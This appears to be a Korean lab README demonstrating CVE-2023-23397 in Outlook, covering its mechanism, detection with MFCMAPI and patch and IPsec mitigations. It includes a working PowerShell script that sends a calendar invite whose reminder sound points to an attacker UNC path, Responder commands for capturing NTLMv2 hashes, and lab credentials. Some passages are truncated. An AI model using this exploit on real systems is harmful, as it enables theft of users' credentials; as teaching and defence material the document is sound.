
CVE-2023-23397 Outlook 권한 상승 취약점 데모
이 프로젝트는 Windows용 Microsoft Outlook의 치명적인 제로클릭 NTLM 릴레이 취약점인 CVE-2023-23397의 탐지, 악용 및 완화를 시연합니다. 캘린더 초대를 통해 악용되는 이 취약점은 공격자가 사용자 상호작용 없이 NTLMv2 해시를 탈취할 수 있게 합니다.
🛡️ CVSS 점수: 9.8 (치명적)
🖥️ 영향받는 버전: Outlook 2013, 2016, 2019, Microsoft 365 (2023년 3월 14일 패치 이전)
Outlook의 캘린더 미리 알림은 PidLidReminderFileParameter MAPI 속성을 통해 사용자 지정 소리를 재생하도록 구성할 수 있습니다. Outlook은 UNC 경로를 검증하지 못하므로 미리 알림이 트리거될 때 원격 SMB 요청이 허용됩니다.
\\attacker-ip\share\sound.wav
이로 인해 NTLMv2 해시가 공격자가 제어하는 서버로 전송되며, 공격자는 이를:
MFCMAPI를 사용하여 캘린더 항목을 검사하고 PidLidReminderFileParameter(MAPI 태그 0x851F001F)에 악성 값이 있는지 확인합니다.
QuickStart > Open Folder > CalendarTable > Set Columns로 이동합니다0x808A001F를 추가합니다2023년 3월 14일 패치(예: KB5002044)를 설치합니다. 이 패치는 다음을 도입합니다:
IsFileZoneLocalIntranetOrTrusted()테스트 결과:
Outlook은 이벤트 ID 1008을 기록하고 신뢰할 수 없는 SMB 경로에 대한 액세스를 차단합니다.
192.168.1.0/24)📂 사전 구축된 정책: OutlookMitigation.ipsec
| 시스템 | 사용자 이름 | 비밀번호 |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| Email Account | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Kali와 피해자 VM이 동일한 네트워크에 있는지 확인하세요.
설치:
설정:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder는 피해자 시스템에서 NTLMv2 해시를 캡처합니다.
PidLidReminderFileParameter에 UNC 경로가 포함되어 있는지 확인합니다.